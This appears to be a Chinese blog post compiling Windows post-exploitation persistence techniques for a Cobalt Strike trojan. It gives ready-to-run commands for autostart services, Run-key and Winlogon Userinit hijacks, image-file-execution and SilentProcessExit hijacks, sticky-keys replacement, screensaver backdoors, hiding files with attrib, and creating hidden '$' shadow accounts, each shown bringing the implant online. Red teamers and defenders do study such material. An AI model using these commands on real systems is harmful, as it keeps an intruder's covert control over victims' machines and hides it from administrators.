windows权限维持整理

windows权限维持

1、自启动路径加载

将cs生成的木马,放到目录下后,等待目标机器关机重启上线

C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

image-20230222154905715

过来一会儿就成功上线

image-20230222155238041

2、自启动服务加载

为目标主机添加自启动服务

sc create "ServiceTest" binpath= "cmd.exe /k C:\artifact.exe" depend= Tcpip obj= Localsystem start= auto  添加

sc delete ServiceTest  删除

将马子先放到c盘,然后添加自启动服务

image-20230222155650729

cmd命令

sc create "ServiceTest" binpath= "cmd.exe /k C:\artifact.exe" depend= Tcpip obj= Localsystem start= auto

image-20230222155736858

成功,关机重启

然后等待一会儿,成功上线

image-20230222160630952

3、自启动注册表加载

-当前用户键值
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 
-服务器键值(需要管理员权限)
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run 
-添加启动项
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "backdoor" /t REG_SZ /F /D "C:\artifact.exe"    #cmd命令

image-20230222164122773

然后重启,稍等一会儿就上线了

image-20230222164524268

4、计划计时任务

打开任务计划程序,操作

image-20230222164832093

创建基本任务

image-20230222164924138

image-20230222164942347

image-20230222164959781

绑定启动程序木马文件,下一步

image-20230222165022304

完成

image-20230222165055195

有的时候还需要将属性的一些设置改掉

image-20230222165410719

操作里面有事电源条件什么的需要取消一下

image-20230222165941281

触发器什么的也加一些上去

image-20230222165831611

然后重启下,上线了

image-20230222170401517

5、替换辅助功能程序

系统自带的辅助功能进行替换执行,放大镜,旁白,屏幕键盘等均可。

c:\windows\system32\sethc.exe
move sethc.exe sethc1.exe
copy cmd.exe sethc.exe

不过这种方法需要取得system权限,用的不多了

6、映像劫持

测试:执行notepad成cmd

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe /c calc"

image-20230222172634079

打开txt文件时,弹出计算器

image-20230222172711272

配合GlobalFlag隐藏:执行正常关闭后触发

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\artifact.exe"

image-20230222172844674

打开记事本

image-20230222173541675

这边也上线了

image-20230222173556134

7、WinLogon配合无文件落地上线

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "Userinit" /t REG_SZ /F /D "C:\artifact.exe"

image-20230222214405832

注销用户重新连接时上线

image-20230222214714107

8、屏幕保护生效后执行后门

reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "C:\artifact.exe" /f

也是操作注册表实现,就不演示吧,等屏幕长时间不操作保护状态的时候就上线了

9、隐藏后门木马

Attrib +s +a +h +r 【文件名】  #隐藏命令
Attrib -s -a -h -r *.exe*    #恢复命令

image-20230222215652029

本来有的,Attrib +s +a +h +r artifact.exe 一下,就没了

image-20230222215748140

然后Attrib -s -a -h -r *.exe*下就出来了

image-20230222215849042

10、影子账户

在添加用户的时候,在用户名后面加$符号达到隐藏账户的目的

net user peng$ 123456py. /add
net user #这样是看不到的

image-20230222220054855

不过可以在本地用户或组或注册表中看到

image-20230222220229144

image-20230222220459560

11、克隆账户

本来是做实验的,不过最后还是可以看到,看下这篇文章吧,挺细的

windows服务隐藏后门之克隆帐号 (shuzhiduo.com)

posted @   bnlbnf  阅读(256)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)
点击右上角即可分享
微信分享提示